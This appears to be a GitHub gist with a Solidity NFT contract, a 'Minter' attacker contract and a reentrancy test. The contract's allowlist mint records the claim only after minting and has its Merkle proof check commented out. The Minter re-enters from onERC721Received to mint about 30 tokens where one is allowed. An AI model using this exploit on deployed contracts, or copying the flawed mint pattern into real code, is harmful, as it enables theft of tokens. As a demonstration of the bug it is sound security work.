Created
April 20, 2022 18:59
-
-
Save lukaspili/3c6f0605541ba7e9a5ead48663ab0ec1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.10; | |
import "@openzeppelin/token/ERC721/extensions/ERC721Enumerable.sol"; | |
import "@openzeppelin/access/Ownable.sol"; | |
import "@openzeppelin/utils/cryptography/MerkleProof.sol"; | |
import "@openzeppelin/utils/Strings.sol"; | |
import "@openzeppelin/token/ERC721/IERC721Receiver.sol"; | |
import "./util/Test.t.sol"; | |
contract SmartAss is ERC721Enumerable, Ownable { | |
using Strings for uint256; | |
uint256 public constant MAX_SUPPLY = 10000; | |
string public baseURI; | |
string public baseExtension = ".json"; | |
uint256 public cost = 0.000001 ether; | |
uint256 public maxMintAmount = 20; | |
bool public paused = true; | |
bool public onlyAllowedList = true; | |
uint256 internal supply; | |
bytes32 internal merkleRootHash; | |
mapping(address => bool) public allowedListClaimed; | |
event NFTMinted(address sender); | |
constructor( | |
string memory _name, | |
string memory _symbol, | |
string memory _initBaseURI | |
) ERC721(_name, _symbol) { | |
setBaseURI(_initBaseURI); | |
} | |
// modifiers | |
modifier stateCompliance() { | |
require(!paused, "the contract is paused"); | |
_; | |
} | |
modifier mintCompliance(uint256 _mintAmount) { | |
require(_mintAmount > 0, "need to mint at least 1 NFT"); | |
if (msg.sender != owner()) { | |
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); | |
} | |
supply = totalSupply(); | |
require(supply + _mintAmount <= MAX_SUPPLY, "max NFT limit exceeded"); | |
_; | |
} | |
modifier mintPriceCompliance(uint256 _mintAmount) { | |
require(msg.value >= cost * _mintAmount, "insufficient funds"); | |
_; | |
} | |
modifier allowedListCompliance(uint256 _mintAmount) { | |
require(!allowedListClaimed[msg.sender], "mint allocation already claimed"); | |
// require(_validateTxn(proof, msg.sender), "invalid proof, transaction not valid"); | |
_; | |
} | |
// external | |
function mint(uint256 _mintAmount) | |
external | |
payable | |
stateCompliance | |
mintCompliance(_mintAmount) | |
mintPriceCompliance(_mintAmount) | |
{ | |
require(!onlyAllowedList, "minting is resctricted to the allowed list"); //allowed | |
_mintQty(_mintAmount, msg.sender); | |
} | |
function allowedListMint(uint256 _mintAmount) | |
external | |
payable | |
stateCompliance | |
mintCompliance(_mintAmount) | |
allowedListCompliance(_mintAmount) | |
{ | |
_mintQty(_mintAmount, msg.sender); | |
allowedListClaimed[msg.sender] = true; | |
} | |
function isAllowedListClaimed(address _user) external view returns (bool) { | |
return allowedListClaimed[_user]; | |
} | |
function walletOfOwner(address _owner) external view returns (uint256[] memory) { | |
uint256 ownerTokenCount = balanceOf(_owner); | |
uint256[] memory tokenIds = new uint256[](ownerTokenCount); | |
for (uint256 i; i < ownerTokenCount; ++i) { | |
tokenIds[i] = tokenOfOwnerByIndex(_owner, i); | |
} | |
return tokenIds; | |
} | |
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { | |
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); | |
string memory currentBaseURI = _baseURI(); | |
return | |
bytes(currentBaseURI).length > 0 | |
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) | |
: ""; | |
} | |
// internal | |
function _mintQty(uint256 _mintAmount, address _receiver) internal { | |
for (uint256 i = 1; i <= _mintAmount; ++i) { | |
_safeMint(_receiver, supply + i); | |
} | |
emit NFTMinted(_receiver); | |
} | |
function _baseURI() internal view virtual override returns (string memory) { | |
return baseURI; | |
} | |
function _validateTxn(bytes32[] memory proof, address _user) internal view returns (bool) { | |
return _merkleVerify(proof, _hashLeaf(_user)); | |
} | |
function _merkleVerify(bytes32[] memory proof, bytes32 hashedLeaf) | |
internal | |
view | |
returns (bool) | |
{ | |
return MerkleProof.processProof(proof, hashedLeaf) == merkleRootHash; | |
} | |
function _hashLeaf(address _user) internal pure returns (bytes32) { | |
return keccak256(abi.encodePacked(_user)); | |
} | |
/** | |
* Owner | |
*/ | |
function setClaimedStateForAddress(bool _state, address _address) external onlyOwner { | |
allowedListClaimed[_address] = _state; | |
} | |
function mintOnBehalf(uint256 _mintAmount, address _receiver) | |
external | |
mintCompliance(_mintAmount) | |
onlyOwner | |
{ | |
supply = totalSupply(); | |
_mintQty(_mintAmount, _receiver); | |
} | |
function setMerkleRoot(bytes32 _newRoot) external onlyOwner { | |
merkleRootHash = _newRoot; | |
} | |
function setCost(uint256 _newCost) external onlyOwner { | |
cost = _newCost; | |
} | |
function setMaxMintAmount(uint256 _newmaxMintAmount) external onlyOwner { | |
maxMintAmount = _newmaxMintAmount; | |
} | |
function setBaseURI(string memory _newBaseURI) public onlyOwner { | |
baseURI = _newBaseURI; | |
} | |
function setBaseExtension(string calldata _newBaseExtension) external onlyOwner { | |
baseExtension = _newBaseExtension; | |
} | |
function setPaused(bool _state) external onlyOwner { | |
paused = _state; | |
} | |
function setOnlyAllowedList(bool _state) external onlyOwner { | |
onlyAllowedList = _state; | |
} | |
function withdraw() external payable onlyOwner { | |
(bool os, ) = payable(owner()).call{value: address(this).balance}(""); | |
require(os); | |
} | |
} | |
contract Minter is IERC721Receiver { | |
SmartAss private _collection; | |
bytes32[] proof; | |
uint256 minted = 1; | |
constructor(SmartAss collection) { | |
_collection = collection; | |
} | |
function mint() public { | |
_collection.allowedListMint(1); | |
} | |
function onERC721Received( | |
address operator, | |
address from, | |
uint256 tokenId, | |
bytes calldata data | |
) external override returns (bytes4) { | |
if (minted < 30) { | |
minted += 1; | |
_collection.allowedListMint(1); | |
} | |
return Minter.onERC721Received.selector; | |
} | |
} | |
contract SmartAssTest is Test { | |
SmartAss collection; | |
Minter minter; | |
function setUp() public { | |
collection = new SmartAss("SmartAss", "SA", "blah"); | |
collection.setPaused(false); | |
minter = new Minter(collection); | |
} | |
function testReentrancy() public { | |
minter.mint(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment